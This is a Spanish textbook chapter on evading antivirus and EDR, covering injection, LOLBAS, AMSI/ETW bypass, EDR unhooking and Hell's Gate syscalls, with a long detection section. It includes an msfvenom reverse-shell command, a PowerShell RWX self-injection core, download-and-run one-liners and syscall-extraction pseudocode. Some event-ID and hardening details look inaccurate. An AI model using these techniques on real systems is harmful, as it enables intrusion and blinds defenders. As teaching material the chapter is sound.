Panorama#

El capítulo anterior trató la evasión del canal: hacer que la conversación del C2 se disuelva en el tráfico normal. Este trata el problema gemelo y complementario, la evasión del payload: que el código que corre en el host —el shellcode de 3.6, el stager de un Beacon de 3.10, la herramienta de post-explotación— no sea detectado en el disco ni en la memoria de la máquina. Son dos frentes distintos del mismo agente: un perfil Malleable impecable no sirve de nada si el antivirus reconoce el shellcode al ejecutarse, y el loader más sigiloso se quema si su beaconing es un latido metronómico. El guardián de este frente es el antivirus (AV) y su descendiente moderno, el EDR (Endpoint Detection and Response): el software que observa cada archivo, cada asignación de memoria y cada llamada a la API del sistema en busca de actividad maliciosa.

La tesis que ordena el capítulo es una escalera. La detección de un AV/EDR no es un muro único sino una serie de capas —firma, heurística, comportamiento, aprendizaje automático—, y cada técnica de evasión ataca una capa concreta. A medida que el defensor sube por esas capas, el atacante se ve empujado a moverse: del disco a la memoria, de las herramientas públicas al código propio, y de los procesos vigilados a los binarios de confianza del propio sistema. El patrón que recorre todo es que la evasión gana contra lo que el defensor firma, pero no contra lo que el payload hace: cada peldaño que sube el atacante para esconder su presencia estática deja, a cambio, una traza de comportamiento nueva —memoria ejecutable donde no debería haberla, un binario de confianza con una línea de comando insólita, un proceso que carga el motor de PowerShell sin ser PowerShell—. Esa es la grieta que la sección de detección explota.

flowchart TD
  P["Payload / shellcode\n(3.6 · 3.10)"] --> D{"¿Qué capa de detección\nhay que vencer?"}
  D -->|"firma / hash (disco)"| ON["Evasión on-disk\nobfuscación · crypter · recompilar"]
  D -->|"file engine (disco)"| MEM["Evasión in-memory\ninjection · reflective DLL · hollowing"]
  D -->|"vigilancia de proceso"| LOL["Vivir de lo confiable\nLOLBAS · PowerShell sin powershell.exe"]
  D -->|"comportamiento / AMSI / EDR"| BLIND["Cegar al vigía\nAMSI/ETW bypass · unhooking · Internal Monologue"]
  ON & MEM & LOL & BLIND --> R["→ ejecución sin alerta…\npero cada capa deja una traza nueva (detección)"]

Cómo mira un AV/EDR#

No se puede evadir lo que no se entiende, y la estructura de la evasión es un reflejo exacto de la estructura de la detección. Un AV moderno se compone de varios motores que corren en kernel y en user-land: el file engine —el más maduro— escanea archivos al vuelo (on-access, vía un mini-filter driver) y en barridos programados; el memory engine busca firmas binarias y llamadas a la API sospechosas en la RAM; el network engine bloquea tráfico de C2 conocido; un disassembler traduce el binario a ensamblador para revertir packers y cifrados; un emulator/sandbox ejecuta la muestra aislada para observar qué hace; y un ML engine en la nube evalúa metadata para detectar amenazas desconocidas.

Sobre esos motores operan cuatro métodos de detección, y conviene verlos como una escalera de madurez porque la evasión los sube en el mismo orden:

  1. Firma. El hash del archivo o una secuencia concreta de bytes o strings. Es el método más rápido y el más frágil: cambiar un solo bit cambia el hash entero. El módulo de OffSec lo demuestra byte a byte —basta convertir una c en C dentro de una cadena para que el SHA-256 sea otro—. Esa fragilidad es, literalmente, la primera puerta de la evasión.
  2. Heurística. Patrones y secuencias de llamadas en el código desensamblado —no el hash exacto, sino «esto se parece a un dropper»—. Sobrevive a cambios de hash pero se puede confundir mutando la estructura del código.
  3. Comportamiento. Ejecutar la muestra en el emulador y observar sus acciones: si asigna memoria ejecutable, inyecta en otro proceso o abre un socket, se marca. Es mucho más caro de evadir porque mira lo que el código hace, no cómo se ve.
  4. Aprendizaje automático (ML) y AMSI. El modelo en la nube evalúa metadata; AMSI (Antimalware Scan Interface) inspecciona scripts y contenido ya desofuscado en el momento de ejecutarse. Es la capa que la obfuscación superficial no toca.
Toda la sección de evasión que sigue es un ascenso por esta escalera. La obfuscación on-disk derrota la firma; la inyección in-memory esquiva el file engine entero; los LOLBAS burlan la vigilancia de proceso; y los bypass de AMSI/ETW y el unhooking de EDR atacan directamente el comportamiento y la introspección de memoria. Cada peldaño resuelve la capa anterior y choca con la siguiente.

Evasión on-disk: derrotar la firma#

El primer peldaño es modificar el archivo en el disco lo suficiente para que ninguna firma existente lo cubra. La familia clásica: packers (comprimen y ofuscan el ejecutable —UPX fue el arquetipo, hoy insuficiente por sí solo—), obfuscators (mutan el código o insertan dead code para romper la heurística), crypters (cifran el cuerpo del payload y dejan en disco solo un stub de descifrado que lo reconstruye en RAM), y protectors comerciales (Enigma y similares). Todos comparten la misma lógica: cambiar la representación estática sin cambiar la función.

A mano, dos técnicas baratas desarman muchas firmas. Cifrar los strings —un simple ROT sobre las cadenas, descifradas en tiempo de ejecución— borra las constantes de texto que el AV firma. Y llamar a las funciones de la API por puntero: en vez de importar SetWindowsHookEx de User32.dll —lo que la deja visible en la tabla de imports del PE—, se resuelve en tiempo de ejecución con GetProcAddress, de modo que la biblioteca desaparece de los imports y con ella la pista heurística. El ejemplo del keylogger de The Hacker Playbook 3 ilustra lo frágil que es la detección estática: pasa de 11/66 a 10/66 con esas técnicas, y a 0/66 solo por recompilar a 64 bits, porque muchas firmas se escribieron contra la variante de 32 bits.

De ahí la regla de oro del capítulo ofensivo: si la herramienta es pública, el vendor ya la reverseó y la firmó. La evasión robusta no ofusca la herramienta pública, sino que la recompila desde el fuente para cambiar el patrón que el AV conoce. El caso extremo es recompilar Meterpreter: compilar metsrv con Clang (cambia el patrón de código generado), borrar del binario los strings delatores (Mimikatz, ReflectiveLoader), meter nop sleds aleatorios en el shellcode Ruby, y —el corazón— reemplazar el Stage0 de msfvenom (que inserta el payload en plantillas de ejecutable predecibles y detectables) por un Stage0 propio: código position- independent, sin imports, que usa wininet para el HTTPS y refleja metsrv.dll en memoria sin tocar disco. Ese Stage0 casero evade Windows Defender, mientras el msfvenom crudo se detecta al instante.

No probar los payloads en VirusTotal durante un engagement: VT comparte la muestra con todos los vendors y publica su hash, quemando el artefacto en horas. La alternativa es AntiScan.Me (no comparte) o —mejor— un laboratorio que replique el AV del target con el envío de muestras deshabilitado. La disciplina de no quemar la propia munición es parte del oficio.

Evasión in-memory: esquivar el disco entero#

El file engine es el motor más maduro del AV, y evadirlo modificando el archivo es una carrera perdida contra firmas que se actualizan a diario. El segundo peldaño elimina el problema de raíz: no escribir nunca a disco. Las técnicas in-memory alojan y ejecutan el payload directamente en la RAM de un proceso, reduciendo la superficie a lo que el memory engine —más caro y menos preciso— puede ver.

  • Remote process injection. La secuencia canónica: OpenProcess sobre una víctima legítima → VirtualAllocEx para reservar memoria en ella → WriteProcessMemory para copiar el shellcodeCreateRemoteThread para ejecutarlo. El código malicioso corre dentro de un proceso de confianza.
  • Reflective DLL injection. Cargar una DLL desde la memoria sin pasar por LoadLibrary —la DLL trae su propio loader—, de modo que nunca existe como archivo. Es la base del metsrv.dll reflejado del Stage0 anterior.
  • Process hollowing. Arrancar un proceso legítimo en estado suspendido, vaciar su imagen y reemplazarla por el payload antes de reanudarlo: el task manager muestra un binario confiable que por dentro es otra cosa.
  • Inline hooking. La técnica de los rootkits: interceptar llamadas reescribiendo el prólogo de funciones de la API. Es también, invertida, lo que hace el EDR —y de ahí nace el unhooking de más abajo—.

El patrón mínimo reproducible de todo esto es la thread injection en PowerShell, y encierra una lección central. Un payload PE crudo de msfvenom se detecta al instante; el mismo shellcode dentro de un .ps1 que hace self-injection pasa con mucha más facilidad. El script importa VirtualAlloc/CreateThread/memset con Add-Type, reserva memoria en el propio powershell.exe con el flag 0x40 (PAGE_EXECUTE_READWRITE), copia el shellcode byte a byte y lo lanza en un thread. Y evade solo con renombrar las variables$sc$var1, Win32iWin32—, pasando de 28/59 en VirusTotal a limpio en Avira.

# Shellcode PS-compatible para la thread injection msfvenom -p windows/shell_reverse_tcp LHOST=10.0.0.1 LPORT=443 -f powershell -v sc # Núcleo del self-injection (Add-Type importa la Win32 API): # $x = $w::VirtualAlloc(0,$size,0x3000,0x40) # 0x40 = PAGE_EXECUTE_READWRITE (RWX) # memset byte a byte del shellcode en $x ; $w::CreateThread(0,0,$x,0,0,0) # Shellter: inyecta en un PE benigno reutilizando la IAT existente (sin secciones nuevas) shellter # modo Auto → PE legítimo poco escrutado → Stealth Mode → payload Meterpreter

Por qué funciona: un script no es un ejecutable. El AV firma un texto interpretado —variables, comentarios, lógica— y todo eso es cambiable sin recompilar. La automatización de esta idea es Shellter, que en lugar de crear secciones nuevas o cambiar permisos (lo que los AV cazan) analiza los execution paths de un PE legítimo y reutiliza las entradas de su IAT (Import Address Table) para alojar y ejecutar el payload, con un Stealth Mode que restaura el flujo original para que el instalador se vea normal. La lección de límite es explícita: contra firmas de string, la obfuscación superficial basta; contra ML y AMSI, no —y por eso el peldaño siguiente ya no oculta el payload, sino que ciega al vigía—.

Vivir de lo confiable: LOLBAS y «PowerShell sin powershell.exe»#

Cuando el entorno bloquea binarios customapplication whitelisting tipo AppLocker/WDAC en un DC endurecido— o cuando el EDR vigila específicamente ciertos procesos, el atacante deja de traer sus propios ejecutables y usa los binarios firmados que ya vienen con Windows. Es la familia LOLBAS (Living Off the Land Binaries And Scripts): la ejecución la realiza un binario de confianza del propio sistema, así que el whitelisting lo permite y el logging tradicional lo ignora.

  • Application whitelisting bypass. MSBuild.exe —el compilador de proyectos de .NET, firmado por Microsoft y permitido por defecto— compila y ejecuta un XML de proyecto malicioso (generado por GreatSCT) que levanta un Meterpreter, sorteando AppLocker porque MSBuild está en la allowlist.
  • One-liners de descarga y ejecución. Binarios firmados que bajan y corren la segunda etapa: certutil -urlcache -split -f, mshta http://..., regsvr32 /i:http://...scrobj.dll, rundll32, InstallUtil. Todos con la firma de Microsoft, todos «vehículos» de ejecución sigilosa.
  • Code caves. Backdoor Factory inyecta shellcode en los bloques vacíos de un binario legítimo —putty, un cliente thick interno— para un movimiento lateral más discreto que WMI/PSExec. El precio: cambia el hash del binario «conocido», lo que la validación de integridad delata.

El caso más significativo es «PowerShell sin powershell.exe». Cuando el AV monitorea el proceso powershell.exe, se ejecuta el motor de PowerShell desde el runspace .NET cargando System.Management.Automation.dll, sin lanzar nunca el binario vigilado: SharpPick/PowerPick, NoPowerShell, o nps_payload invocado —otra vez— por MSBuild. El motor corre, ejecuta Mimikatz o el módulo que sea, pero el proceso que el defensor observa jamás aparece. Combinado con la obfuscación de scriptsInvoke-Obfuscation codifica el bloque con SecureString/AES, HideMyPS renombra funciones con ROT (Invoke-MimikatzVaibxr-Zvzvxngm)— se evade a la vez la detección de proceso y la de string. Un detalle operativo revelador: el matching parcial de parámetros de PowerShell hace que -ExecutionPolicy Bypass, -Exec Bypass y -Ex Bypass sean equivalentes, otra pequeña grieta contra las firmas rígidas.

Cegar al vigía: AMSI, ETW, unhooking e Internal Monologue#

El peldaño más alto ya no esconde el payload: desactiva o engaña a los mecanismos de observación del propio host. Es la frontera donde la evasión toca directamente las capas de comportamiento y memoria.

Bypass de AMSI. Como AMSI inspecciona el contenido desofuscado justo antes de ejecutarlo, es el obstáculo que la obfuscación no salva —de ahí que sea el blanco directo—. Las técnicas parchean en memoria la función AmsiScanBuffer dentro del propio proceso para que siempre devuelva «limpio», o corrompen el estado del contexto de AMSI, neutralizando la inspección de scripts sin dejar de usar el motor.

Nulear el provider de ETW. El Script Block Logging de PowerShell (Event ID 4104) se alimenta de un provider de ETW (Event Tracing for Windows). Desde el propio runspace se puede poner ese provider a null por reflexión —tocando System.Management.Automation.Tracing.PSEtwLogProvider—, con lo que el registro de bloques de script deja de emitirse. Es la evasión de la telemetría en su forma más directa: apagar la cámara.

Unhooking de EDR. Los EDR modernos insertan hooks en user-land —el inline hooking de antes, pero al servicio de la defensa— sobre funciones de ntdll.dll para interceptar las llamadas al sistema antes de que lleguen al kernel. El unhooking restaura la copia limpia de ntdll desde el disco (o llama directamente a los syscalls sin pasar por la versión enganchada), devolviendo a las funciones su prólogo original y cegando la introspección del EDR.

Internal Monologue. El ejemplo más elegante de esta categoría, porque evita la acción que el defensor vigila en lugar de deshabilitar el sensor. Cuando Credential Guard protege LSASS (Windows 10 Enterprise / Server 2016+), el volcado de credenciales de 4.5 falla —Mimikatz no puede leer la memoria de LSASS—. El ataque de Elad Shamir baja temporalmente los controles de NetNTLMv1 (LMCompatibilityLevel, NTLMMinClientSec, RestrictSendingNTLMTraffic), impersona los tokens de logon de procesos activos, e interactúa con el proveedor NTLM (NTLM SSP) localmente para elicitar una respuesta NetNTLMv1 a un desafío elegido —crackeable offline—, y después restaura los valores. Obtiene material de credenciales sin tocar LSASS, evadiendo la única cosa que el defensor estaba mirando. La misma filosofía anima a psgetsystem, que escala de administrador local a SYSTEM sin el getsystem firmado de Metasploit, creando un proceso cuyo parent PID pertenece a un proceso de SYSTEM y heredando su token —un rodeo que conecta con la escalada por token de 3.9—.

Estas técnicas son la parte más agresiva del arsenal ofensivo y la razón por la que el guardrail defensivo importa: apagar AMSI, nulear ETW o unhookear el EDR son acciones que solo tienen sentido bajo autorización explícita de un engagement. Su valor de estudio es exactamente su valor defensivo —cada una deja un IOC característico, como detalla la sección siguiente—: la manipulación de un provider de ETW, la escritura sobre ntdll en memoria o el downgrade de LMCompatibilityLevel son, ellas mismas, señales de alarma de alta fidelidad.

Bajo el capó: syscalls directos, Hell’s Gate y la línea del kernel#

La sección anterior nombró los movimientos —parchear AMSI, nulear ETW, unhookear el EDR— pero el porqué de que funcionen, y sobre todo dónde dejan de funcionar, vive una capa más abajo: en la arquitectura exacta de cómo un EDR obtiene su telemetría. Un EDR moderno bebe de tres fuentes apiladasuser-land, llamadas a la API de Windows, y el kernel—, y cada técnica de evasión ataca una; la clave que ordena todo es que la cima de la pila está en el kernel, fuera del alcance de cualquier modificación de user-land. Ese hecho es a la vez la razón por la que la evasión de user-land funciona y la razón por la que tiene techo.

La línea del hook: ntdll y los syscalls#

Toda llamada Win32 —VirtualAllocEx, WriteProcessMemory, NtReadVirtualMemory— desciende hasta un stub minúsculo en ntdll.dll cuya única función es preparar los argumentos y cargar el número de syscall (SSN, System Service Number) en el registro EAX (o R10D en x64), para luego ejecutar la instrucción syscall, que transiciona la CPU del anillo 3 (user mode) al anillo 0 (kernel mode) (Yosifovich et al., 2018). Ese stub, típicamente de 3–5 bytes en x86 moderno, es el cuello de botella de la inspección.

Un EDR moderno engancha estos stubs sobrescribiendo sus primeros bytes con un jmp a un trampoline del EDR, interceptando la llamada antes de que el syscall se ejecute (Yosifovich et al., 2018). El flujo de un hook inline típico es:

  1. ntdll!NtOpenProcess apunta a: mov eax, 0x26 (SSN de NtOpenProcess en Windows 10) + syscall
  2. EDR sobrescribe: jmp <EDR trampoline en user-land (DLL del EDR inyectada en el proceso)>
  3. El trampoline inspecciona argumentos, valida, y —si pasa— ejecuta el syscall original.

Dos consecuencias operativas se siguen:

  • El unhooking en user-land funciona porque el hook vive solo en la memoria de user-land de ese proceso: se restauran los bytes originales del stub desde una copia limpia de ntdll (del disco, del proceso csrss, o de \KnownDlls), y se vuelve al stub original sin que el kernel lo sepa.
  • Pero tiene techo: si el EDR vigila cambios en memoria de ntdll o mantiene un callback kernel-mode (PsSetCreateProcessNotifyRoutine), el unhooking en sí es detectable.

Hell’s Gate: invocando syscalls sin pasar por ntdll#

Si el hook vive en ntdll, la respuesta es no pasar jamás por ntdll: copiar la lógica del stub —cargar el SSN y ejecutar syscall— en memoria propia. Esa es la idea central de Hell’s Gate, popularizada por am0nsec y RtlMateusz en 2020 (am0nsec & RtlMateusz, 2020).

La dificultad principal: los SSNs cambian entre versiones de Windows. En Windows 10 build 1909, NtAllocateVirtualMemory es SSN 0x18; en Windows 11 build 22000 puede ser 0x1A. No se pueden hardcodear. Hell’s Gate resuelve esto descargando una copia limpia de ntdll.dll desde disco (C:\Windows\System32\ntdll.dll), parseando su tabla de exportaciones, y extrayendo dinámicamente los SSNs de cada función objetivo.

El algoritmo, paso a paso (pseudocódigo):

// 1. Cargar ntdll desde disco (no mapeada en el proceso, evita hooks)
HANDLE hFile = CreateFileA("C:\\Windows\\System32\\ntdll.dll", 
                           GENERIC_READ, FILE_SHARE_READ, NULL, 
                           OPEN_EXISTING, 0, NULL);
DWORD dwSize = GetFileSize(hFile, NULL);
PVOID pNtdll = malloc(dwSize);
ReadFile(hFile, pNtdll, dwSize, &dwSize, NULL);
CloseHandle(hFile);

// 2. Parsear cabecera PE y encontrar Export Table
PIMAGE_DOS_HEADER pDosHeader = (PIMAGE_DOS_HEADER)pNtdll;
PIMAGE_NT_HEADERS pNtHeaders = (PIMAGE_NT_HEADERS)((DWORD_PTR)pNtdll + pDosHeader->e_lfanew);
PIMAGE_EXPORT_DIRECTORY pExportDir = 
    (PIMAGE_EXPORT_DIRECTORY)((DWORD_PTR)pNtdll + 
     pNtHeaders->OptionalHeader.DataDirectories[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress);

// 3. Iterar funciones exportadas (Nt*, Zw*)
PDWORD pNameArray = (PDWORD)((DWORD_PTR)pNtdll + pExportDir->AddressOfNames);
for (DWORD i = 0; i < pExportDir->NumberOfNames; i++) {
    const char *pName = (const char *)((DWORD_PTR)pNtdll + pNameArray[i]);
    
    // Buscar funciones que comienzan con "Nt" o "Zw"
    if (strncmp(pName, "Nt", 2) == 0 || strncmp(pName, "Zw", 2) == 0) {
        // 4. Encontrar la función en el binario
        PVOID pFunc = /* resolver dirección desde tabla de exportaciones */;
        
        // 5. Extraer SSN: en x64 el stub comienza con "mov r10, rcx" (4C 8B D1)
        // seguido de "mov eax, SSN" (B8 XX XX XX XX) y "syscall" (0F 05)
        if (*(BYTE*)pFunc       == 0x4C &&   // mov r10, rcx
            *(BYTE*)(pFunc + 1) == 0x8B &&
            *(BYTE*)(pFunc + 2) == 0xD1 &&
            *(BYTE*)(pFunc + 3) == 0xB8) {   // mov eax, SSN
            DWORD dwSSN = *(DWORD*)((DWORD_PTR)pFunc + 4);  // SSN = 4 bytes
            // Guardar en tabla: syscall_map[hash("NtOpenProcess")] = dwSSN
        }
    }
}

// 6. Usar: copiar stub ("mov eax, SSN + syscall") a region RWX de este proceso
// y ejecutar desde allí.

El resultado práctico: el ejecutable malicioso jamás toca ntdll enganchada del proceso, porque invoca syscalls desde su propio trampolín (mov eax, 0x18 + syscall codeado en memoria propia). El EDR ve una instrucción syscall ejecutarse desde una región que no es ntdll, lo que es anómalo pero no es trivial de detectar si se ejecuta desde una región PAGE_EXECUTE_READWRITE privada del proceso.

Variantes: Halo’s Gate, Tartarus Gate y evolución#

Hell’s Gate original asume que la ntdll.dll en disco es limpia y confiable. Pero en entornos duros (con File Integrity Monitoring o EDRs que también protegen el disco), incluso ntdll.dll en System32 puede estar “envenenada” o ser inalcanzable. Las variantes posteriores refinan la técnica:

Halo’s Gate (Sektor7, circa 2020–2021): cuando la ntdll.dll en disco está hookeada o se sospecha que está monitoreada, se recurre a la búsqueda de un vecino exportado. La idea es que en la tabla de exportaciones de ntdll, las funciones están ordenadas cercanas unas de otras; si una función Nt* es inaccesible, se busca la siguiente (Nt*+1 en secuencia) cuyo SSN se conoce, y se calcula el delta para derivar el SSN de la función objetivo. Por ejemplo, si NtAllocateVirtualMemory no se puede parsear pero NtAllocateVirtualMemoryEx está accesible y sabemos que su SSN es 0x72, podemos asumir que el anterior difiere por ±1 (en casos simples). El riesgo: los SSNs no son exactamente secuenciales, así que el delta puede ser erróneo; Halo’s Gate añade validación heurística para evitar SSNs imposibles.

Tartarus Gate (circa 2021–2022): cuando ni siquiera se confía en la ntdll.dll en disco (porque el Sistema de Archivos está bajo monitorización), se extraen los SSNs desde la ntdll ya mapeada del proceso, pero desde una región que el EDR no está hookeando. Algunos EDRs solo hookean funciones que saben que son “sensibles” (como NtAllocateVirtualMemory); las funciones menos monitoreadas (ej., NtQueryVirtualMemory) quedan limpias. Tartarus Gate lee el stub limpio, extrae el SSN, y lo usa para llamar a funciones que sí están hookeadas, sin haber tocado jamás la copia en disco. El costo: requiere reconocimiento previo de qué funciones están hookeadas y cuáles no.

Variantes posteriores (Windows 11, CET/HWVCI): con la introducción de Control Flow Guard (CFG) y Enforced Code Integrity (HVCI) en Windows 11, ejecutar código arbitrario desde regiones PAGE_EXECUTE_READWRITE privadas se hace más difícil. Las nuevas técnicas evolucionan hacia:

  • Reusar instrucciones syscall ya presentes en binarios legítimos (ROP gadgets).
  • Usar indirect syscalls a través de instancias de syscall que no están en el punto de entrada de ntdll (por ejemplo, dentro de funciones secundarias).
  • Combinar Hell’s Gate con syscall proxying: en lugar de ejecutar syscall directamente, hacer un call a una función de ntdll que a su vez sea limpia (conseguida por el unhooking parcial selectivo).

Detección en user-land: el techo de la evasión#

Aunque el uso de syscalls directos evade los hooks de ntdll, deja trazas de comportamiento:

  • Lectura de ntdll.dll desde disco: CreateFile + ReadFile sobre C:\Windows\System32\ntdll.dll es insólito fuera de actualizaciones del sistema o herramientas de diagnóstico.
  • Mapeo de memoria anómalo: crear regiones PAGE_EXECUTE_READWRITE privadas (no mapeadas desde DLLs legítimas) e incluir bytecode de syscall es característico de shellcode. Sysmon Event ID 1 (creación de procesos) y análisis de Virtual Address Descriptors (VAD) lo delatan.
  • Stack unwinding desde direcciones inexplicables: un syscall ejecutado desde una dirección que no es ntdll pero está dentro del rango de memoria del proceso es altamente sospechoso, si se compara contra la llamada legítima que debería venir de ntdll.

Esto es donde la evasión de user-land choca con los limites del kernel: el syscall en sí, una vez ejecutado, es visible al kernel y sus callbacks, y no hay nada que user-land pueda hacer para ocultar eso al kernel.

Las referencias técnicas. Hell’s Gate original: am0nsec & RtlMateusz, “Hell’s Gate: Dynamic Syscall Invocation” (2020, github.com/am0nsec/HellsGate). Halo’s Gate (extensión con vecinos): Sektor7 / smelly__vx (2021). El mecanismo de syscalls en Windows: Windows Internals, Part 1 (7ª ed., Yosifovich, Ionescu, Levin, Painter, 2018), cap. 3–4 sobre procesos y llamadas al sistema. Análisis de código malicioso que emplea estas técnicas: Practical Malware Analysis (Sikorski & Honig, 2012), cap. 8.

Defensa y detección#

La detección de Hell’s Gate y técnicas de syscalls directos requiere abandonar la paranoia de user-land y activar telemetría en kernel. Ningún parche de user-land puede verlo; es el territorio donde la defensa sube a kernel o acepta la derrota.

Señales kernel: ETW y callbacks de sistema#

Event Tracing for Windows (ETW) — Threat Intelligence. El proveedor Microsoft-Windows-Threat-Intelligence emite eventos cuando se detectan patrones de evasión. Para syscalls directos:

  • Event 1 — Kernel Audit Logging de syscalls anómalas: si el kernel observa un syscall desde una dirección que no es ntdll mapeada legítimamente, lo registra. Esto requiere activar auditoría de llamadas al sistema en Política de Grupo (Audit: Audit the Use of Advanced User Rights, Event ID 4673) o usar ETW providers personalizados.
  • Event 4103 (Module Load): cargas de ntdll desde rutas inusuales o multiples instancias mapeadas se pueden registrar.

Kernel callbacks — PsSetCreateProcessNotifyRoutine y PsSetLoadImageNotifyRoutine. Un driver EDR instalado se registra para recibir notificaciones:

  • PsSetCreateProcessNotifyRoutine: cada nuevo proceso dispara un callback. El EDR puede verificar la integridad de ntdll en el nuevo proceso leyendo su imagen mapeada y comparándola contra una copia limpia. Si detecta que el código fue modificado (modificación post-hoc después del mapeo), es evidencia de unhooking o patching.
  • PsSetLoadImageNotifyRoutine: cada vez que se mapea una DLL, se notifica al driver. Permite detectar carga de ntdll desde rutas inusuales (no System32).

Análisis de stack y región de memoria#

Stack Walking durante syscalls. Cuando un syscall se ejecuta desde user-land, el kernel puede inspeccionar el stack para determinar quién lo invocó. Si el retorno apunta a una región que no es ntdll, es sospechoso:

  • Región privada PAGE_EXECUTE_READWRITE: shellcode codificado manualmente.
  • Región de una DLL legítima pero con stack frame anómalo (por ejemplo, kernel32.dll invocando un syscall sin pasar por ntdll, lo que no debería suceder).

Herramientas como Volatility (análisis post-mortem) pueden reconstruir estos stacks desde un dump de memoria.

Memory Region Enumeration: el EDR enumera todas las regiones PAGE_EXECUTE_READWRITE o PAGE_EXECUTE_READCOPY en cada proceso y busca bytecode conocido:

  • Secuencias mov eax, <imm32> (opcode 0xB8) seguidas de syscall (0x0F 0x05).
  • Patrones de nop sled (0x90).

Monitorización en disco#

File Integrity Monitoring (FIM) en System32. Vigilancia de acceso a ntdll.dll, kernel32.dll y otras DLLs del sistema detecta:

  • Lecturas repetidas de ntdll.dll desde procesos no privilegiados (ej., notepad.exe leyendo ntdll en disco es anómalo).
  • Escrituras en directorios del sistema (bloqueadas por permisos normalmente, pero un contexto de SYSTEM o admin malicioso podría intentarlo).

Hardening defensivo#

HVCI (Hypervisor-Enforced Code Integrity). En Windows 11 con HVCI habilitado, las páginas de memoria se marcan como inmutables si vienen de binarios confiables (firmware verificado). Crear regiones PAGE_EXECUTE_READWRITE arbitrarias se hace más costoso porque el hypervisor bloquea la ejecución desde esas regiones no verificadas.

Kernel-Mode Shadow Stacks (CET). La tecnología Control-Flow Enforcement Technology (CET) en procesadores Intel modernos mantiene un shadow stack del lado del kernel que registra cada call/ret. Invocar un syscall desde una dirección no esperada viola la correspondencia y dispara una excepción.

Audit Policy: Detailed Tracking. Activar en Política de Grupo:

  • Audit: Audit the Use of Backup and Restore Privilege — Event ID 4673 para syscalls sensibles.
  • Audit Process Creation (Event ID 4688) con líneas de comando completas: captura procesos que abren ntdll.dll en disco.
  • Audit Security System Extension (Event ID 4611): registro de drivers cargados (útil para verificar que el EDR está activo).

Respuesta y visibilidad correlacionada#

La detección de syscalls directos no es una firma única, sino una correlación de anomalías:

  1. Lectura de ntdll.dll desde disco (Event 4663 o equivalente de FIM) +
  2. Creación de regiones RWX privadas (Sysmon Event 1 con indicadores de inyección) +
  3. Syscall desde dirección anómala (ETW Threat Intelligence o kernel callback) +
  4. Ausencia de unhooking detectado (si el proceso tuviera que haber usado unhooking, ésta sería la alternativa más “silenciosa”)

Esta historia, correlacionada en el SIEM, tiende a ser de alta fidelidad.

Limitaciones detectivas#

No obstante, la defensa tiene límites reales:

  • El kernel es confiable pero limitado: un kernel exploit (como CVE-2021-1732Win32k Elevation of Privilege en Windows 10 que permitía ejecutar código kernel arbitrario) puede comprometer la telemetría del kernel mismo.
  • Callbacks kernel post-operación: aunque se registre el syscall, si el atacante es lo suficientemente rápido (ej., Process Ghosting — reemplazar la imagen del proceso antes de que el kernel emita un evento), la telemetría puede ser incompleta.
  • Ruido falso-positivo: algunos procesos legítimos (debugging tools, profilers de rendimiento) leen ntdll.dll desde disco. El tuning defensivo requiere baselining de procesos confiables.

La conclusión operativa: Hell’s Gate evade la defensa de user-land casi completamente, pero es visible al kernel y a sus callbacks. La defensa robusta requiere:

  1. Habilitar telemetría kernel (ETW Threat Intelligence, callbacks kernel).
  2. Monitorear patrones característicos (lectura disco → RWX → syscall anómalo).
  3. Aceptar que la evasión de la evasión es una carrera: mejores técnicas de ofuscación vs. mejores técnicas de detección, con el kernel como árbitro final.

En términos de MITRE ATT&CK, esta sección cubre T1562.008 (Impair Defenses — Disable or Modify Tools) cuando se refiere al unhooking de EDR, y T1027 (Obfuscated Files or Information) cuando se refiere a la ofuscación de syscalls directos, aunque estas técnicas son más allá de las categorías tradicionales (viven en el espacio de implementación de APIs de bajo nivel).

La investigación y experimentación con Hell’s Gate, Halo’s Gate y otras técnicas de syscalls directos solo debe realizarse en laboratorios controlados con consentimiento explícito. El uso ofensivo sin autorización es ilegal. La documentación técnica acá tiene propósito educativo y defensivo: entender cómo funcionan para detectarlas y contrarrestarlas.

Referencias#

  • red-infra/pen200/cap-06Antivirus Evasion: la anatomía del AV (motores file/memory/network/ disassembler/emulator/ML) y los cuatro métodos de detección; evasión on-disk (packers/obfuscators/crypters/ protectors) vs in-memory (remote injection, reflective DLL, process hollowing, inline hooking); la thread injection en PowerShell como patrón mínimo y Shellter reutilizando la IAT.
  • red-infra/hacker-playbook3/cap-07The Quarterback Sneak: la escalera de obfuscación (ROT de strings, ocultar imports por GetProcAddress, 64 bits → 0/66), recompilar Meterpreter con Stage0 propio, SharpShooter anti-sandbox, el bypass de whitelisting con MSBuild/GreatSCT, los code caves de Backdoor Factory, y «PowerShell sin powershell.exe» (SharpPick/NPS + Invoke-Obfuscation/HideMyPS).
  • red-infra/hacker-playbook3/cap-08Special Teams: el Internal Monologue (NetNTLMv1 sin tocar LSASS, evade Credential Guard), psgetsystem (SYSTEM por parent PID spoofeado), los one-liners LOLBAS (certutil/mshta/regsvr32/InstallUtil) y el nuleado del provider de ETW para apagar el logging de PowerShell.
  • MITRE ATT&CK — Defense Evasion (TA0005), T1055 Process Injection y la LOLBAS Project — inventario vivo de binarios de confianza abusables.
  • Elad Shamir — Internal Monologue Attack y la documentación de Microsoft sobre AMSI y Credential Guard para el lado defensivo.